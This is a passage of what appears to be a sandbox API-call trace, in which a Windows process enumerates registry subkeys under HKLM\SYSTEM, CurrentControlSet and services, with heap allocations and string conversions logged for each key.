(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.783] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.783] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.784] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.784] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1e38, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.786] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.786] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.786] RegCloseKey (hKey=0xc4) returned 0x0 [0253.786] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.787] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.787] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.787] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.787] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.788] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.788] RegCloseKey (hKey=0x14c) returned 0x0 [0253.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c40, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.788] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1e38, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c40, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, 